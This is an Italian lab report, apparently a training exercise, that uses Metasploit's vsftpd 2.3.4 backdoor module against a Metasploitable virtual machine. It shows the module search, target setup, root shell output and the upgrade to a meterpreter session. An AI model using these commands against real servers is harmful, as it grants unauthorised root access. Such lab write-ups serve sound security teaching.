

# REPORT BACKDOOR MSFCONSOLE

## Obiettivo

Sfruttare la vulnerabilità della backdoor nel server **vsftpd 2.3.4** di Metasploitable.

## Svolgimento

Come primo passo ho avviato msfconsole da terminale e successivamente ho cercato l'exploit in questione. Successivamente ho configurato l'exploit per avere come macchina da attaccare la Metasploitable che in questo caso ha IP **192.168.1.149**, come si può vedere dall arp scan effettuato.

```
msf6 > search vsftpd

Matching Modules

#  Name                                     Disclosure Date  Rank    Check  Description
--  -
0  auxiliary/dos/ftp/vsftpd_232             2011-02-03      normal Yes    VSFTPD 2.3.2 Denial of Service
1  exploit/unix/ftp/vsftpd_234_backdoor      2011-07-03      excellent No     VSFTPD v2.3.4 Backdoor Command Execution

Interact with a module by name or index. For example info 1, use 1 or use exploit/unix/ftp/vsftpd_234_backdoor

msf6 > sessions

Active sessions

No active sessions.

msf6 > use 1
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

Name      Current Setting  Required  Description
--      -
CHOST      CHOST            no        The local client address
CPORT      CPORT            no        The local client port
Proxies    Proxies          no        A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS     RHOSTS           yes       The target host(s), see https://docs.metasploit.com/docs/using-metasploit/basics/using-metasploit.html
RPORT      RPORT            yes       The target port (TCP)

Exploit target:

Id  Name
--  -
0   Automatic

View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sudo arp-scan -l
[*] exec: sudo arp-scan -l

[sudo] password for kali:
Interface: eth0, type: EN10MB, MAC: 08:00:27:ad:25:87, IPv4: 192.168.1.150
WARNING: Cannot open MAC/Vendor file ieee-oui.txt: Permission denied
WARNING: Cannot open MAC/Vendor file mac-vendor.txt: Permission denied
Starting arp-scan 1.10.0 with 256 hosts (https://github.com/royhills/arp-scan)
192.168.1.149  08:00:27:1f:1e:3b  (Unknown)
```

Il secondo passo è stato far partire l'exploit che ci permette l'accesso alla Metasploitable con una shell molto basilare.

Infine è stato eseguito il comando per fare l'upgrade della shell in modo da poter usare meterpreter e tutte le funzionalità.

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.149
RHOSTS => 192.168.1.149
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

[*] 192.168.1.149:21 - Banner: 220 (vsFTPD 2.3.4)
[*] 192.168.1.149:21 - USER: 331 Please specify the password.
[+] 192.168.1.149:21 - Backdoor service has been spawned, handling ...
[+] 192.168.1.149:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.1.150:38151 -> 192.168.1.149:6200) at 2024-12-16 15:14:23 +0100

ls
bin
boot
cdrom
dev
etc
home
initrd
initrd.img
lib
lost+found
media
mnt
nohup.out
opt
proc
root
sbin
srv
sys
tmp
usr
var
vmlinuz
^Z
Background session 1? [y/N] y
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions

Active sessions

  Id  Name  Type  Information  Connection
  --  ---  ---  ---
  1    shell cmd/unix  192.168.1.150:38151 -> 192.168.1.149:6200 (192.168.1.149)

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions -u 1
[*] Executing 'post/multi/manage/shell_to_meterpreter' on session(s): [1]

[*] Upgrading session ID: 1
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > sessions 2
[*] Starting interaction with 2 ...

meterpreter > ls
Listing: /

Mode                Size           Type             Last modified          Name
-----
040755/rwxr-xr-x    4096           dir              2012-05-14 05:35:33 +0200 bin
040755/rwxr-xr-x    1024           dir              2012-05-14 05:36:28 +0200 boot
040755/rwxr-xr-x    4096           dir              2010-03-16 23:55:51 +0100 cdrom
040755/rwxr-xr-x   13540           dir              2024-12-16 15:07:34 +0100 dev
040755/rwxr-xr-x    4096           dir              2024-12-16 15:07:38 +0100 etc
040755/rwxr-xr-x    4096           dir              2010-04-16 08:16:02 +0200 home
040755/rwxr-xr-x    4096           dir              2010-03-16 23:57:40 +0100 initrd
100644/rw-r--r--   7929183        fil              2012-05-14 05:35:56 +0200 initrd.img
040755/rwxr-xr-x    4096           dir              2012-05-14 05:35:22 +0200 lib
040700/rwx-----   16384           dir              2010-03-16 23:55:15 +0100 lost+found
040755/rwxr-xr-x    4096           dir              2010-03-16 23:55:52 +0100 media
040755/rwxr-xr-x    4096           dir              2010-04-28 22:16:56 +0200 mnt
100600/rw-----   15915           fil              2024-12-16 15:07:59 +0100 nohup.out
040755/rwxr-xr-x    4096           dir              2010-03-16 23:57:39 +0100 opt
040555/r-xr-xr-x     0             dir              2024-12-16 15:07:20 +0100 proc
040755/rwxr-xr-x    4096           dir              2024-12-16 15:07:59 +0100 root
040755/rwxr-xr-x    4096           dir              2012-05-14 03:54:53 +0200 sbin
040755/rwxr-xr-x    4096           dir              2010-03-16 23:57:38 +0100 srv
040755/rwxr-xr-x     0             dir              2024-12-16 15:07:21 +0100 sys
041777/rwxrwxrwx    4096           dir              2024-12-16 15:15:30 +0100 tmp
040755/rwxr-xr-x    4096           dir              2010-04-28 06:06:37 +0200 usr
040755/rwxr-xr-x    4096           dir              2010-03-17 15:08:23 +0100 var
100644/rw-r--r--   1987288        fil              2008-04-10 18:55:41 +0200 vmlinuz

meterpreter > 
```